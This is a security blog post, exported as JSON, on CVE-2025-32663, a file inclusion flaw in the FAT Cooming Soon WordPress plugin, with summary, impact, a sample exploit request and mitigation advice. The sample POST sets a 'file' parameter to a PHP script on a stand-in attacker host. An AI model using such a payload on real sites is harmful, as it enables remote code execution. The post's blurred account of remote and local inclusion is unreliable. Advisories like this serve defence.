{"id":29174,"date":"2025-04-22T16:44:47","date_gmt":"2025-04-22T16:44:47","guid":{"rendered":""},"modified":"2025-05-24T17:20:42","modified_gmt":"2025-05-24T17:20:42","slug":"cve-2025-32663-php-local-file-inclusion-vulnerability-in-fat-cooming-soon-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32663-php-local-file-inclusion-vulnerability-in-fat-cooming-soon-plugin\/","title":{"rendered":"<strong>CVE-2025-32663: PHP Local File Inclusion Vulnerability in FAT Cooming Soon Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>There is a significant vulnerability looming in the PHP world, specifically affecting the FAT Cooming Soon plugin. This vulnerability, identified as CVE-2025-32663, is a case of improper control of filename for Include\/Require Statement in PHP Program, often termed as &#8216;PHP Remote File Inclusion&#8217;. This issue opens a gateway for PHP Local File Inclusion, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37297-vulnerability-in-ami-s-spx-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"33402\">potentially leading to a system<\/a> compromise or data leakage. Any entity utilizing the FAT Cooming Soon <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3418-privilege-escalation-vulnerability-in-wpc-admin-columns-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"33557\">plugin is susceptible to this vulnerability<\/a> and thus needs to pay close attention to their security measures.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32663<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33677\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3143628614\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>FAT Cooming Soon | n\/a through 1.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit capitalizes on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23389-improper-access-control-vulnerability-in-suse-rancher\/\"  data-wpil-monitor-id=\"33358\">improper control<\/a> of filename for Include\/Require Statement in PHP Program. This flaw <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34113\">allows an attacker to include a file from remote<\/a> servers, leading to PHP Local File Inclusion. The attacker can manipulate the input data to construct the path of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48263-unauthenticated-remote-attack-leading-to-dos-and-potential-rce\/\"  data-wpil-monitor-id=\"34368\">file<\/a> of their choice remotely. This manipulation can lead to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33850\">execution of arbitrary code<\/a>, potentially resulting in unauthorized access, data leakage, or even a complete system takeover.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1450468250\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The conceptual example below demonstrates how an attacker might <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34955\">exploit this vulnerability<\/a>. The attacker sends a POST request with a malicious payload, aiming to manipulate the &#8216;file&#8217; parameter, which <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43564-improper-access-control-vulnerability-in-coldfusion-leading-to-arbitrary-file-system-read\/\"  data-wpil-monitor-id=\"49373\">controls the file<\/a> to be included.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;file&quot; : &quot;http:\/\/malicious.example.com\/malicious.php&quot; }<\/code><\/pre>\n<p>In this example, the &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34974\">file<\/a>&#8216; parameter&#8217;s value is a URL pointing to a malicious PHP file hosted on an attacker-controlled server. If the application does not properly validate and sanitize the &#8216;file&#8217; parameter, it includes the malicious PHP file, leading to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24797-remote-code-execution-vulnerability-in-meshtastic-s-mesh-networking-solution\/\"  data-wpil-monitor-id=\"34222\">execution of the malicious code<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective mitigation against this vulnerability is to apply the vendor patch. Users of the <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-the-latest-google-user-scams-a-deep-dive-into-cybersecurity-threats-and-mitigation\/\"  data-wpil-monitor-id=\"37739\">FAT Cooming Soon<\/a> plugin should upgrade to the latest version as soon as possible. In the interim, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can help detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38657-out-of-bounds-write-vulnerability-in-gtkwave-lxt2-zlib-block-decompression\/\"  data-wpil-monitor-id=\"43178\">block attempts to exploit this vulnerability<\/a>. However, they do not replace the need for patching the underlying <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"34537\">vulnerability in the plugin<\/a>.<br \/>\nIn addition, proper input validation and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30511-stored-xss-vulnerability-due-to-improper-sanitization-of-plant-name-input\/\"  data-wpil-monitor-id=\"35962\">sanitization techniques should be employed to prevent such vulnerabilities<\/a> from arising in the future. Always treat user inputs as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27286-deserialization-of-untrusted-data-leads-to-object-injection-in-saoshyant-slider\/\"  data-wpil-monitor-id=\"37032\">untrusted data<\/a> and ensure they are appropriately handled before using them in file include or require statements.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview There is a significant vulnerability looming in the PHP world, specifically affecting the FAT Cooming Soon plugin. This vulnerability, identified as CVE-2025-32663, is a case of improper control of filename for Include\/Require Statement in PHP Program, often termed as &#8216;PHP Remote File Inclusion&#8217;. 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